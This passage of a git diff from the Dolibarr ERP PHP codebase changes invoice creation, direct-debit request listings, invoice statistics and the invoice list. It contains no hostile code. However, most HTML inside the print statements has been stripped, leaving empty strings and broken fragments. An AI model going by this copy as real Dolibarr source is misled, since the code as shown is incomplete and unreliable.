$price_min_ttc = $datapriceofproduct['price_min_ttc']; + $price_min_ttc = (isset($datapriceofproduct['price_min_ttc'])) ? $datapriceofproduct['price_min_ttc'] : null; $price_base_type = $datapriceofproduct['price_base_type']; - $tva_tx = $datapriceofproduct['tva_tx']; - $tva_npr = $datapriceofproduct['tva_npr']; - - $tmpvat = price2num(preg_replace('/\s*\(.*\)/', '', $tva_tx)); + //$tva_tx = $datapriceofproduct['tva_tx']; + //$tva_npr = $datapriceofproduct['tva_npr']; + $tmpvat = (float) price2num(preg_replace('/\s*\(.*\)/', '', $tva_tx)); $tmpprodvat = price2num(preg_replace('/\s*\(.*\)/', '', $prod->tva_tx)); // Set unit price to use @@ -2505,12 +2506,12 @@ if (empty($reshook)) { // Check price is not lower than minimum (check is done only for standard or replacement invoices) if ($usermustrespectpricemin && ($object->type == Facture::TYPE_STANDARD || $object->type == Facture::TYPE_REPLACEMENT)) { - if ($pu_ht && $price_min && ((price2num($pu_ht) * (1 - $remise_percent / 100)) < price2num($price_min))) { + if ($pu_ht && $price_min && (((float) price2num($pu_ht) * (1 - (float) $remise_percent / 100)) < (float) price2num($price_min))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; $action = 'editline'; - } elseif ($pu_ttc && $price_min_ttc && ((price2num($pu_ttc) * (1 - $remise_percent / 100)) < price2num($price_min_ttc))) { + } elseif ($pu_ttc && $price_min_ttc && ((price2num($pu_ttc) * (1 - (float) $remise_percent / 100)) < price2num($price_min_ttc))) { $mesg = $langs->trans("CantBeLessThanMinPrice", price(price2num($price_min_ttc, 'MU'), 0, $langs, 0, 0, -1, $conf->currency)); setEventMessages($mesg, null, 'errors'); $error++; @@ -2763,7 +2764,7 @@ if (empty($reshook)) { } if (!$errors) { - setEventMessages($langs->trans('Updated'), '', 'mesgs'); + setEventMessages($langs->trans('Updated'), null, 'mesgs'); header("Location: ".$_SERVER['PHP_SELF']."?id=".$id); } else { setEventMessages($langs->trans('ErrorOutingSituationInvoiceCreditNote'), array(), 'errors'); @@ -3066,6 +3067,11 @@ if ($action == 'create') { $remise_percent = (!empty($expesrc->remise_percent) ? $expesrc->remise_percent : (!empty($soc->remise_percent) ? $soc->remise_percent : 0)); $remise_absolue = (!empty($expesrc->remise_absolue) ? $expesrc->remise_absolue : (!empty($soc->remise_absolue) ? $soc->remise_absolue : 0)); + if (isModEnabled('multicurrency')) { + $currency_code = (!empty($expesrc->multicurrency_code) ? $expesrc->multicurrency_code : (!empty($soc->multicurrency_code) ? $soc->multicurrency_code : $objectsrc->multicurrency_code)); + $currency_tx = (!empty($expesrc->multicurrency_tx) ? $expesrc->multicurrency_tx : (!empty($soc->multicurrency_tx) ? $soc->multicurrency_tx : $objectsrc->multicurrency_tx)); + } + //Replicate extrafields $expesrc->fetch_optionals(); $object->array_options = $expesrc->array_options; @@ -3114,7 +3120,11 @@ if ($action == 'create') { } // when bank account is empty (means not override by payment mode form a other object, like third-party), try to use default value - $fk_account = GETPOSTISSET("fk_account") ? GETPOST("fk_account", 'int') : $fk_account; + if ($socid > 0 && $fk_account) { // A company has already been set and it has a default fk_account + $fk_account = GETPOSTISSET('fk_account') ? GETPOST("fk_account", 'int') : $fk_account; // The GETPOST is used only if form was posted to avoid to take default value, because in such case, the default must be the one of the company + } else { // No company forced + $fk_account = GETPOST("fk_account", 'int'); + } if (!empty($soc->id)) { $absolute_discount = $soc->getAvailableDiscounts(); @@ -3141,10 +3151,12 @@ if ($action == 'create') { print '
      '; print ''; - print ''; + print ''; if ($soc->id > 0) { print ''."\n"; } + print ''; + print ''; print ''; print ''; print ''; @@ -3181,7 +3193,7 @@ if ($action == 'create') { $arrayoutstandingbills = $soc->getOutstandingBills(); $outstandingBills = $arrayoutstandingbills['opened']; print ' - '.$langs->trans('CurrentOutstandingBill').': '; - print price($outstandingBills, '', $langs, 0, 0, -1, $conf->currency); + print ''.price($outstandingBills, '', $langs, 0, 0, -1, $conf->currency).''; if ($soc->outstanding_limit != '') { if ($outstandingBills > $soc->outstanding_limit) { print img_warning($langs->trans("OutstandingBillReached")); @@ -3193,10 +3205,10 @@ if ($action == 'create') { } else { print ''.$langs->trans('Customer').''; print ''; - print img_picto('', 'company').$form->select_company($soc->id, 'socid', '((s.client = 1 OR s.client = 3) AND s.status = 1)', 'SelectThirdParty', 1, 0, null, 0, 'minwidth300 widthcentpercentminusxx maxwidth500'); + print img_picto('', 'company', 'class="pictofixedwidth"').$form->select_company($soc->id, 'socid', '((s.client = 1 OR s.client = 3) AND s.status = 1)', 'SelectThirdParty', 1, 0, null, 0, 'minwidth300 widthcentpercentminusxx maxwidth500'); // Option to reload page to retrieve customer informations. if (empty($conf->global->RELOAD_PAGE_ON_CUSTOMER_CHANGE_DISABLED)) { - print ''; @@ -3301,7 +3312,7 @@ if ($action == 'create') { print '
      '; $tmp = ' '; $tmp = $tmp.''; - $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceStandardDesc"), 1, 'help', '', 0, 3); + $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceStandardDesc"), 1, 'help', '', 0, 3, 'standardonsmartphone'); print ''; print ''; - print ''; + print ''; print ''; print ''; print ' - + \n"; } } else { - print ''; + print ''; } print '
      '; print $desc; @@ -3340,7 +3351,7 @@ if ($action == 'create') { jQuery("#radio_deposit").prop("checked", true); setRadioForTypeOfIncoice(); }); - jQuery("#radio_standard, #radio_deposit, #radio_replacement, #radio_template").change(function() { + jQuery("#radio_standard, #radio_deposit, #radio_replacement, #radio_creditnote, #radio_template").change(function() { setRadioForTypeOfIncoice(); }); function setRadioForTypeOfIncoice() { @@ -3352,14 +3363,14 @@ if ($action == 'create') { jQuery(".checkforselect").prop("disabled", false); jQuery(".checkforselect").prop("checked", true); } - }; + } }); '; - $tmp = $tmp.''; - $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceDepositDesc"), 1, 'help', '', 0, 3); print ''; print ''; if (($origin == 'propal') || ($origin == 'commande')) { @@ -3398,7 +3409,7 @@ if ($action == 'create') { print '
      '; $tmp = ' '; $tmp = $tmp.''; - $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceFirstSituationDesc"), 1, 'help', '', 0, 3); + $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceFirstSituationDesc"), 1, 'help', '', 0, 3, 'firstsituationonsmartphone'); print $desc; print '
      '; @@ -3411,7 +3422,7 @@ if ($action == 'create') { $tmp .= ' disabled'; } $tmp .= '> '; - $text = ' '; + $text = $tmp.' '; $text .= 'id > 0) { $text .= ' disabled'; @@ -3480,26 +3491,18 @@ if ($action == 'create') { if (!empty($conf->global->INVOICE_USE_SITUATION)) { print '
      '; $tmp = ' '; - $text = ' '; + $text = $tmp.' '; $text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; - $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceFirstSituationDesc"), 1, 'help', '', 0, 3); - print $desc; - print '
      '; - - print '
      '; - $tmp = ' '; - $text = ' '; - $text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; - $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceFirstSituationDesc"), 1, 'help', '', 0, 3); + $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceFirstSituationDesc"), 1, 'help', '', 0, 3, 'firstsituationonsmartphone'); print $desc; print '
      '; } print '
      '; $tmp = ' '; - $text = ' '; - $text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; - $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceReplacementDesc"), 1, 'help', '', 0, 3); + $text = $tmp.' '; + //$text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; + $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceReplacementDesc").'

      '.$langs->trans("YouMustCreateInvoiceFromThird"), 1, 'help', '', 0, 3, 'replacementonsmartphone'); print $desc; print '
      '; } @@ -3559,7 +3562,6 @@ if ($action == 'create') { }); '; $text = ' '; - // $text.=''; $text .= ' 0 ? 'checked' : '').' /> "; print '
          0 ? 'checked' : '').' /> "; print ''; @@ -3589,9 +3591,9 @@ if ($action == 'create') { } else { $tmp = ' '; } - $text = ' '; - $text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; - $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceAvoirDesc"), 1, 'help', '', 0, 3); + $text = $tmp.' '; + //$text .= '('.$langs->trans("YouMustCreateInvoiceFromThird").') '; + $desc = $form->textwithpicto($text, $langs->transnoentities("InvoiceAvoirDesc").'

      '.$langs->trans("YouMustCreateInvoiceFromThird"), 1, 'help', '', 0, 3, 'creditnoteonsmartphone'); print $desc; print ''."\n"; } @@ -3600,9 +3602,8 @@ if ($action == 'create') { // Template invoice print '
      '; $tmp = ' '; - $text = ' '; - //$text.= '('.$langs->trans("YouMustCreateStandardInvoiceFirst").') '; - $desc = $form->textwithpicto($text, $langs->transnoentities("YouMustCreateStandardInvoiceFirstDesc"), 1, 'help', '', 0, 3); + $text = $tmp.' '; + $desc = $form->textwithpicto($text, $langs->transnoentities("YouMustCreateStandardInvoiceFirstDesc"), 1, 'help', '', 0, 3, 'templateonsmartphone'); print $desc; print '
      '; @@ -3623,7 +3624,8 @@ if ($action == 'create') { $(document).ready(function() { var listType = {'.$jsListType.'}; $("[name=\'type\'").change(function() { - if($( this ).prop("checked")) + console.log("change name=type"); + if ($( this ).prop("checked")) { if(($( this ).val() in listType)) { @@ -3659,19 +3661,22 @@ if ($action == 'create') { // Date invoice print ''; // Date point of tax if (!empty($conf->global->INVOICE_POINTOFTAX_DATE)) { print ''; } // Payment term print ''; @@ -3727,8 +3732,8 @@ if ($action == 'create') { // Payment mode print ''; // Bank Account @@ -3743,7 +3748,7 @@ if ($action == 'create') { if (isModEnabled('project')) { $langs->load('projects'); print ''; } @@ -3759,6 +3764,7 @@ if ($action == 'create') { $incoterm_id = (!empty($objectsrc->fk_incoterms) ? $objectsrc->fk_incoterms : $soc->fk_incoterms); $incoterm_location = (!empty($objectsrc->location_incoterms) ? $objectsrc->location_incoterms : $soc->location_incoterms); } + print img_picto('', 'incoterm', 'class="pictofixedwidth"'); print $form->select_incoterms($incoterm_id, $incoterm_location); print ''; } @@ -3775,7 +3781,7 @@ if ($action == 'create') { if ($soc->fetch_optionals() > 0) { $object->array_options = array_merge($object->array_options, $soc->array_options); } - }; + } print $object->showOptionals($extrafields, 'create', $parameters); } @@ -4318,7 +4324,7 @@ if ($action == 'create') { array('type' => 'other', 'name' => 'socid', 'label' => $langs->trans("SelectThirdParty"), 'value' => $form->select_company($object->socid, 'socid', '(s.client=1 OR s.client=2 OR s.client=3)', 1)), array('type' => 'date', 'name' => 'newdate', 'label' => $langs->trans("Date"), 'value' => dol_now()) ); - // Ask confirmatio to clone + // Request confirmation to clone $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?facid='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneInvoice', $object->ref), 'confirm_clone', $formquestion, 'yes', 1, 250); } @@ -4376,7 +4382,7 @@ if ($action == 'create') { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -4673,19 +4679,20 @@ if ($action == 'create') { if ($displayWarranty) { // Retained Warranty print ''; @@ -700,7 +727,7 @@ if ($object->id > 0) { $sql .= " WHERE fk_facture = ".((int) $object->id); } $sql .= " AND pfd.traite = 0"; - $sql .= " AND pfd.ext_payment_id IS NULL"; + $sql .= " AND pfd.type = 'ban'"; $resql = $db->query($sql); if ($resql) { @@ -742,8 +769,8 @@ if ($object->id > 0) { print ''; print ''; - if (!empty($conf->global->STRIPE_SEPA_DIRECT_DEBIT_SHOW_BUTTON)) { - // TODO Replace this with a checkbox for each payment mode: "Send request to PaymentModeManager immediatly..." + if (getDolGlobalString('STRIPE_SEPA_DIRECT_DEBIT_SHOW_OLD_BUTTON')) { // This is hidden, prefer to use mode enabled with STRIPE_SEPA_DIRECT_DEBIT + // TODO Replace this with a checkbox for each payment mode: "Send request to XXX immediatly..." print "
      "; //add stripe sepa button $buttonlabel = $langs->trans("MakeWithdrawRequestStripe"); @@ -781,14 +808,14 @@ if ($object->id > 0) { if ($type == 'bank-transfer') { print '
      '.$langs->trans("DoCreditTransferBeforePayments"); - if (isModEnabled('stripe')) { + if (isModEnabled('stripe') && getDolGlobalString('STRIPE_SEPA_DIRECT_DEBIT')) { print ' '.$langs->trans("DoStandingOrdersBeforePayments2"); } print ' '.$langs->trans("DoStandingOrdersBeforePayments3"); print '

      '; } else { print '
      '.$langs->trans("DoStandingOrdersBeforePayments"); - if (isModEnabled('stripe')) { + if (isModEnabled('stripe') && getDolGlobalString('STRIPE_SEPA_DIRECT_DEBIT')) { print ' '.$langs->trans("DoStandingOrdersBeforePayments2"); } print ' '.$langs->trans("DoStandingOrdersBeforePayments3"); @@ -807,17 +834,18 @@ if ($object->id > 0) { print '
      '; print ''; print ''; - print ''; if ($type == 'bank-transfer') { print ''; } else { print ''; } print ''; + print ''; print ''; $sql = "SELECT pfd.rowid, pfd.traite, pfd.date_demande as date_demande,"; - $sql .= " pfd.date_traite as date_traite, pfd.amount,"; + $sql .= " pfd.date_traite as date_traite, pfd.amount, pfd.fk_prelevement_bons,"; + $sql .= " pb.ref, pb.date_trans, pb.method_trans, pb.credite, pb.date_credit, pb.datec, pb.statut as status, pb.amount as pb_amount,"; $sql .= " u.rowid as user_id, u.email, u.lastname, u.firstname, u.login, u.statut as user_status"; $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_demande as pfd"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."user as u on pfd.fk_user_demande = u.rowid"; @@ -828,7 +856,7 @@ if ($object->id > 0) { $sql .= " WHERE fk_facture = ".((int) $object->id); } $sql .= " AND pfd.traite = 0"; - $sql .= " AND pfd.ext_payment_id IS NULL"; + $sql .= " AND pfd.type = 'ban'"; $sql .= " ORDER BY pfd.date_demande DESC"; $resql = $db->query($sql); @@ -864,20 +892,51 @@ if ($object->id > 0) { // Amount print ''; - // Ref of SEPA request + // Date process print ''; - print ''; - print ''; + // + print ''; + // Actions print ''; @@ -894,7 +953,7 @@ if ($object->id > 0) { // Past requests $sql = "SELECT pfd.rowid, pfd.traite, pfd.date_demande, pfd.date_traite, pfd.fk_prelevement_bons, pfd.amount,"; - $sql .= " pb.ref,"; + $sql .= " pb.ref, pb.date_trans, pb.method_trans, pb.credite, pb.date_credit, pb.datec, pb.statut as status, pb.fk_bank_account, pb.amount as pb_amount,"; $sql .= " u.rowid as user_id, u.email, u.lastname, u.firstname, u.login, u.statut as user_status"; $sql .= " FROM ".MAIN_DB_PREFIX."prelevement_demande as pfd"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."user as u on pfd.fk_user_demande = u.rowid"; @@ -905,19 +964,19 @@ if ($object->id > 0) { $sql .= " WHERE fk_facture = ".((int) $object->id); } $sql .= " AND pfd.traite = 1"; - $sql .= " AND pfd.ext_payment_id IS NULL"; + $sql .= " AND pfd.type = 'ban'"; $sql .= " ORDER BY pfd.date_demande DESC"; - $result = $db->query($sql); - if ($result) { - $num = $db->num_rows($result); + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); $numclosed = $num; $i = 0; $tmpuser = new User($db); while ($i < $num) { - $obj = $db->fetch_object($result); + $obj = $db->fetch_object($resql); $tmpuser->id = $obj->user_id; $tmpuser->login = $obj->login; @@ -929,27 +988,59 @@ if ($object->id > 0) { print ''; + // Date print '\n"; + // User print ''; - print ''; + // Amount + print ''; + // Date process + print '\n"; + + // Link to payment request done print '\n"; + // print ''; - print '\n"; - + // Actions print ''; print "\n"; @@ -960,7 +1051,7 @@ if ($object->id > 0) { print ''; } - $db->free($result); + $db->free($resql); } else { dol_print_error($db); } diff --git a/htdocs/compta/facture/stats/index.php b/htdocs/compta/facture/stats/index.php index 760a0eca4c8..5c23057b10b 100644 --- a/htdocs/compta/facture/stats/index.php +++ b/htdocs/compta/facture/stats/index.php @@ -378,14 +378,24 @@ foreach ($data as $val) { print ''; } + if ($mode == 'supplier') { + $greennb = (empty($val['nb_diff']) || $val['nb_diff'] <= 0); + $greentotal = (empty($val['total_diff']) || $val['total_diff'] <= 0); + $greenavg = (empty($val['avg_diff']) || $val['avg_diff'] <= 0); + } else { + $greennb = (empty($val['nb_diff']) || $val['nb_diff'] >= 0); + $greentotal = (empty($val['total_diff']) || $val['total_diff'] >= 0); + $greenavg = (empty($val['avg_diff']) || $val['avg_diff'] >= 0); + } + print ''; print ''; print ''; - print ''; + print ''; print ''; - print ''; + print ''; print ''; - print ''; + print ''; print ''; $oldyear = $year; } @@ -411,7 +421,7 @@ print '
      '; + $tmp = $tmp.''; + $desc = $form->textwithpicto($tmp, $langs->transnoentities("InvoiceDepositDesc"), 1, 'help', '', 0, 3, 'depositonsmartphone'); print $desc; print '
      '.$langs->trans('DateInvoice').''; + print img_picto('', 'action', 'class="pictofixedwidth"'); print $form->selectDate($newdateinvoice ? $newdateinvoice : $dateinvoice, '', '', '', '', "add", 1, 1); print '
      '.$langs->trans('DatePointOfTax').''; + print img_picto('', 'action', 'class="pictofixedwidth"'); print $form->selectDate($date_pointoftax ? $date_pointoftax : -1, 'date_pointoftax', '', '', '', "add", 1, 1); print '
      '.$langs->trans('PaymentConditionsShort').''; - print $form->getSelectConditionsPaiements(GETPOSTISSET('cond_reglement_id') ? GETPOST('cond_reglement_id', 'int') : $cond_reglement_id, 'cond_reglement_id'); + print img_picto('', 'payment', 'class="pictofixedwidth"'); + print $form->getSelectConditionsPaiements((GETPOSTISSET('cond_reglement_id') && GETPOST('cond_reglement_id', 'int') != 0) ? GETPOST('cond_reglement_id', 'int') : $cond_reglement_id, 'cond_reglement_id', -1, 1); print '
      '.$langs->trans('PaymentMode').''; - print img_picto('', 'payment', 'class="pictofixedwidth"'); - print $form->select_types_paiements(GETPOSTISSET('mode_reglement_id') ? GETPOST('mode_reglement_id') : $mode_reglement_id, 'mode_reglement_id', 'CRDT', 0, 1, 0, 0, 1, 'maxwidth200 widthcentpercentminusx', 1); + print img_picto('', 'bank', 'class="pictofixedwidth"'); + print $form->select_types_paiements((GETPOSTISSET('mode_reglement_id') && GETPOST('mode_reglement_id') != 0)? GETPOST('mode_reglement_id') : $mode_reglement_id, 'mode_reglement_id', 'CRDT', 0, 1, 0, 0, 1, 'maxwidth200 widthcentpercentminusx', 1); print '
      '.$langs->trans('Project').''; - print img_picto('', 'project').$formproject->select_projects(($socid > 0 ? $socid : -1), $projectid, 'projectid', 0, 0, 1, 1, 0, 0, 0, '', 1, 0, 'maxwidth500 widthcentpercentminusxx'); + print img_picto('', 'project', 'class="pictofixedwidth"').$formproject->select_projects(($socid > 0 ? $socid : -1), $projectid, 'projectid', 0, 0, 1, 1, 0, 0, 0, '', 1, 0, 'maxwidth500 widthcentpercentminusxx'); print ' id.($fac_rec ? '&fac_rec='.$fac_rec : '')).'">'; print '
      '; - print ''; + print ''; } // Project label if (!empty($arrayfields['p.title']['checked'])) { - print ''; + print ''; } // Thirdparty if (!empty($arrayfields['s.nom']['checked'])) { - print ''; + print ''; } // Alias if (!empty($arrayfields['s.name_alias']['checked'])) { - print ''; + print ''; } // Parent company if (!empty($arrayfields['s2.nom']['checked'])) { @@ -1399,6 +1413,10 @@ if ($resql) { print ''; print ''; } + // Customer Code + if (!empty($arrayfields['s.code_client']['checked'])) { + print ''; + } // Town if (!empty($arrayfields['s.town']['checked'])) { print ''; @@ -1464,13 +1482,13 @@ if ($resql) { if (!empty($arrayfields['f.total_localtax1']['checked'])) { // Localtax1 print ''; } if (!empty($arrayfields['f.total_localtax2']['checked'])) { // Localtax2 print ''; } if (!empty($arrayfields['f.total_ttc']['checked'])) { @@ -1595,9 +1613,9 @@ if ($resql) { } // Status if (!empty($arrayfields['f.fk_statut']['checked'])) { - print ''; } // Action column @@ -1651,6 +1669,9 @@ if ($resql) { if (!empty($arrayfields['s2.nom']['checked'])) { print_liste_field_titre($arrayfields['s2.nom']['label'], $_SERVER['PHP_SELF'], 's2.nom', '', $param, '', $sortfield, $sortorder); } + if (!empty($arrayfields['s.code_client']['checked'])) { + print_liste_field_titre($arrayfields['s.code_client']['label'], $_SERVER['PHP_SELF'], 's.code_client', '', $param, '', $sortfield, $sortorder); + } if (!empty($arrayfields['s.town']['checked'])) { print_liste_field_titre($arrayfields['s.town']['label'], $_SERVER["PHP_SELF"], 's.town', '', $param, '', $sortfield, $sortorder); } @@ -1784,16 +1805,17 @@ if ($resql) { $totalarray = array(); $totalarray['nbfield'] = 0; $totalarray['val'] = array(); + $totalarray['val']['f.total_tva'] = 0; $totalarray['val']['f.total_ht'] = 0; $totalarray['val']['f.total_ttc'] = 0; $with_margin_info = false; if (isModEnabled('margin') && ( - !empty($arrayfields['total_pa']['checked']) - || !empty($arrayfields['total_margin']['checked']) - || !empty($arrayfields['total_margin_rate']['checked']) - || !empty($arrayfields['total_mark_rate']['checked']) - ) + !empty($arrayfields['total_pa']['checked']) + || !empty($arrayfields['total_margin']['checked']) + || !empty($arrayfields['total_margin_rate']['checked']) + || !empty($arrayfields['total_mark_rate']['checked']) + ) ) { $with_margin_info = true; } @@ -1825,10 +1847,10 @@ if ($resql) { $facturestatic->close_code = $obj->close_code; $facturestatic->total_ttc = $obj->total_ttc; $facturestatic->paye = $obj->paye; - $facturestatic->fk_soc = $obj->fk_soc; + $facturestatic->socid = $obj->fk_soc; $facturestatic->date = $db->jdate($obj->datef); - $facturestatic->date_valid = $db->jdate($obj->date_valid); + $facturestatic->date_validation = $db->jdate($obj->date_valid); $facturestatic->date_lim_reglement = $db->jdate($obj->datelimite); $facturestatic->note_public = $obj->note_public; @@ -1867,11 +1889,14 @@ if ($resql) { $paiement = $facturestatic->getSommePaiement(); $totalcreditnotes = $facturestatic->getSumCreditNotesUsed(); $totaldeposits = $facturestatic->getSumDepositsUsed(); - $totalpay = $paiement + $totalcreditnotes + $totaldeposits; - $remaintopay = price2num($facturestatic->total_ttc - $totalpay); + $multicurrency_paiement = $facturestatic->getSommePaiement(1); $multicurrency_totalcreditnotes = $facturestatic->getSumCreditNotesUsed(1); $multicurrency_totaldeposits = $facturestatic->getSumDepositsUsed(1); + + $totalpay = $paiement + $totalcreditnotes + $totaldeposits; + $remaintopay = price2num($facturestatic->total_ttc - $totalpay); + $multicurrency_totalpay = $multicurrency_paiement + $multicurrency_totalcreditnotes + $multicurrency_totaldeposits; $multicurrency_remaintopay = price2num($facturestatic->multicurrency_total_ttc - $multicurrency_totalpay); @@ -1879,7 +1904,7 @@ if ($resql) { $remaintopay = 0; $multicurrency_remaintopay = 0; } - if ($facturestatic->type == Facture::TYPE_CREDIT_NOTE && $obj->paye == 1) { // If credit note closed, we take into account the amount not yet consummed + if ($facturestatic->type == Facture::TYPE_CREDIT_NOTE && $obj->paye == 1) { // If credit note closed, we take into account the amount not yet consumed $remaincreditnote = $discount->getAvailableDiscounts($companystatic, '', 'rc.fk_facture_source='.$facturestatic->id); $remaintopay = -$remaincreditnote; $totalpay = price2num($facturestatic->total_ttc - $remaintopay); @@ -1898,644 +1923,669 @@ if ($resql) { $total_margin += $marginInfo['total_margin']; } - print 'ref)); - print 'parent.place=\''.$place.'\''; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + print 'ref)); + print 'parent.place=\''.$place.'\''; } - print ''; + print '});"'; } - print ''; - } + print '>'; - // No - if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { - print ''; - } - - // Ref - if (!empty($arrayfields['f.ref']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Customer ref - if (!empty($arrayfields['f.ref_client']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Type - if (!empty($arrayfields['f.type']['checked'])) { - print '"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Date - if (!empty($arrayfields['f.datef']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Date - if (!empty($arrayfields['f.date_valid']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Date limit - if (!empty($arrayfields['f.date_lim_reglement']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Project ref - if (!empty($arrayfields['p.ref']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Project title - if (!empty($arrayfields['p.title']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Third party - if (!empty($arrayfields['s.nom']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Alias - if (!empty($arrayfields['s.name_alias']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Parent company - if (!empty($arrayfields['s2.nom']['checked'])) { - print ''; + } + + // No + if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { + print ''; + } + + // Ref + if (!empty($arrayfields['f.ref']['checked'])) { + print '\n"; + if (!$i) { + $totalarray['nbfield']++; } } - print ""; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Town - if (!empty($arrayfields['s.town']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Zip - if (!empty($arrayfields['s.zip']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // State - if (!empty($arrayfields['state.nom']['checked'])) { - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Country - if (!empty($arrayfields['country.code_iso']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Type ent - if (!empty($arrayfields['typent.code']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Staff - if (!empty($arrayfields['staff.code']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Payment mode - if (!empty($arrayfields['f.fk_mode_reglement']['checked'])) { - $s = $form->form_modes_reglement($_SERVER['PHP_SELF'], $obj->fk_mode_reglement, 'none', '', -1, 0, '', 1); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Payment terms - if (!empty($arrayfields['f.fk_cond_reglement']['checked'])) { - $s = $form->form_conditions_reglement($_SERVER['PHP_SELF'], $obj->fk_cond_reglement, 'none', 0, '', -1, -1, 1); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Module Source - if (!empty($arrayfields['f.module_source']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // POS Terminal - if (!empty($arrayfields['f.pos_source']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Amount HT - if (!empty($arrayfields['f.total_ht']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ht'; - } - $totalarray['val']['f.total_ht'] += $obj->total_ht; - } - // Amount VAT - if (!empty($arrayfields['f.total_tva']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_tva'; - } - $totalarray['val']['f.total_tva'] += $obj->total_tva; - } - // Amount LocalTax1 - if (!empty($arrayfields['f.total_localtax1']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_localtax1'; - } - $totalarray['val']['f.total_localtax1'] += $obj->total_localtax1; - } - // Amount LocalTax2 - if (!empty($arrayfields['f.total_localtax2']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_localtax2'; - } - $totalarray['val']['f.total_localtax2'] += $obj->total_localtax2; - } - // Amount TTC - if (!empty($arrayfields['f.total_ttc']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'f.total_ttc'; - } - $totalarray['val']['f.total_ttc'] += $obj->total_ttc; - } - - $userstatic->id = $obj->fk_user_author; - $userstatic->login = $obj->login; - $userstatic->lastname = $obj->lastname; - $userstatic->firstname = $obj->firstname; - $userstatic->email = $obj->user_email; - $userstatic->statut = $obj->user_statut; - $userstatic->entity = $obj->entity; - $userstatic->photo = $obj->photo; - $userstatic->office_phone = $obj->office_phone; - $userstatic->office_fax = $obj->office_fax; - $userstatic->user_mobile = $obj->user_mobile; - $userstatic->job = $obj->job; - $userstatic->gender = $obj->gender; - - // Author - if (!empty($arrayfields['u.login']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - - if (!empty($arrayfields['sale_representative']['checked'])) { - // Sales representatives - print ''; + if (!$i) { + $totalarray['nbfield']++; } - $nbofsalesrepresentative = count($listsalesrepresentatives); - if ($nbofsalesrepresentative > 6) { - // We print only number - print $nbofsalesrepresentative; - } elseif ($nbofsalesrepresentative > 0) { - $j = 0; - foreach ($listsalesrepresentatives as $val) { - $userstatic->id = $val['id']; - $userstatic->lastname = 